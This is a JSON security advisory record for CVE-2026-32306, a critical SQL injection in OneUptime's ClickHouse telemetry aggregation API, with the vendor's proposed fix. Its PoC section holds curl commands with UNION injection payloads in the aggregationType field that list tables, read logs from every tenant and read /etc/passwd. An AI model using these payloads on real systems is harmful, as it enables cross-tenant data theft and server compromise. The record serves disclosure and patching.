{"id":"CVE-2026-32306","aliases":["CVE-2026-32306","GHSA-p5g2-jm85-8g35"],"related":[],"kind":"vulnerability","state":"published","title":"OneUptime ClickHouse SQL Injection via Aggregate Query Parameters","summary":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point — `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n// BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(\n    req.body[\"aggregateBy\"]\n) as AggregateBy<TBaseModel>;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation — `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n// AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n    // Only truthiness check — no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection — `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**\n\n```typescript\n// StatementGenerator.ts:527\nstatement.append(\n    `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n// Statement.ts:149-151\npublic append(text: string): Statement {\n    this.query += text; // Raw concatenation — \"trusted SQL\"\n    return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n  | jq -r '.token')\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\\''oneuptime'\\'' --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\\''/etc/passwd'\\'') --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { — truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts\n# this.query += text; — \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\\|sanitize\\|allowlist'\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own\n2. **Data manipulation** — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** — Via ClickHouse's `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** — Via ClickHouse's `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** — ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n    throw new BadRequestException(\n        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`\n    );\n}\n\n// 2. Validate aggregateColumnName against the model's known columns:\nconst modelColumns = model.getColumnNames(); // or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n    throw new BadRequestException(\n        `Invalid column: ${aggregateBy.aggregateColumnName}`\n    );\n}\n\n// 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName &&\n    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n    throw new BadRequestException(\n        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n    );\n}\n\n// 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter('aggregationType', aggregateBy.aggregationType);\nstatement.addParameter('columnName', aggregateBy.aggregateColumnName);\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"OneUptime es una solución para monitorear y gestionar servicios en línea. Antes de la 10.0.23, la API de agregación de telemetría acepta los parámetros controlados por el usuario aggregationType, aggregateColumnName y aggregationTimestampColumnName y los interpola directamente en las consultas SQL de ClickHouse a través del método .append() (documentado como 'SQL de confianza'). No hay lista blanca, no hay enlace de consulta parametrizada y no hay validación de entrada. Un usuario autenticado puede inyectar SQL arbitrario en ClickHouse, lo que permite la lectura completa de la base de datos (incluidos los datos de telemetría de todos los inquilinos), la modificación de datos y la potencial ejecución remota de código a través de funciones de tabla de ClickHouse. Esta vulnerabilidad está corregida en la 10.0.23.","source":"nvd"}],"published":"2026-03-12T21:27:51.463Z","modified":"2026-10-07T08:10:00.200Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 10.0.23","status":"affected"}],"vendor":"OneUptime","product":"oneuptime","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"10.0.23"}],"ecosystem":"npm","package":"oneuptime","purl":"pkg:npm/oneuptime","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"10.0.23"}],"vendor":"hackerbay","product":"oneuptime","cpe":"cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32306","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/OneUptime/oneuptime","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/OneUptime/oneuptime/releases/tag/10.0.23","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-14T03:42:10.455Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32306","url":"https://www.cve.org/CVERecord?id=CVE-2026-32306","licence":"CVE Terms of Use","modified":"2026-03-14T03:42:22.271Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-p5g2-jm85-8g35","url":"https://github.com/advisories/GHSA-p5g2-jm85-8g35","licence":"CC-BY-4.0","modified":"2026-03-16T17:16:25.316Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32306","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32306","licence":"Public domain","modified":"2026-10-07T08:10:00.200Z"}],"updatedAt":"2026-11-25T22:59:15.891Z","epss":{"score":0.00743,"percentile":0.55931,"date":"2026-12-01T12:00:22.000Z"}}